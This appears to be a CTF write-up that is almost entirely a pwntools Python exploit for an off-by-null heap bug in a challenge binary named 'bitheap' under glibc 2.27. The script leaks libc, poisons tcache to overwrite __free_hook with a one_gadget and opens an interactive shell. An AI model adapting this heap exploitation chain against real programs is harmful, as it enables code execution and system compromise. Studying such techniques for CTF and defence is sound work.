2.27的off-by-null(one)利用

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './bitheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

# context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)
    pause()
def decode(x):
    return bin(x)[2:].rjust(64)[::-1]

menu = 'Your choice: '

def add(index, size):
    r.sendlineafter(menu, '1')
    r.sendlineafter('Index: ', str(index))
    r.sendlineafter('Size: ', str(size))

def edit(index, content):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Index: ', str(index))
    r.sendafter('Content: ', content)

def show(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter('Index: ', str(index))

def delete(index):
    r.sendlineafter(menu, '4')
    r.sendlineafter('Index: ', str(index))

for i in range(7):
    add(i, 0xf8)    #0 - 6

add(7, 0xf8)
add(8, 0x88)
add(9, 0xf8)
add(10, 0x10)
# dbg()
for i in range(8):
    delete(i)
# dbg()
edit(8, '1' * 0x80 * 8 + decode(0x190) + '\x00')
# dbg()
delete(9)
# dbg()
for i in range(7):
    add(i, 0xf8)

add(7, 0xf8)
# dbg()
show(8)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.27.so')

libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

one = [0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc_base + one[1]

add(11, 0xf8)
# dbg()
delete(8)
dbg()
edit(11, decode(free_hook))
add(8, 0xf8)
add(12, 0xf8)

edit(12, decode(one_gadget))
delete(0)

r.interactive()

参考链接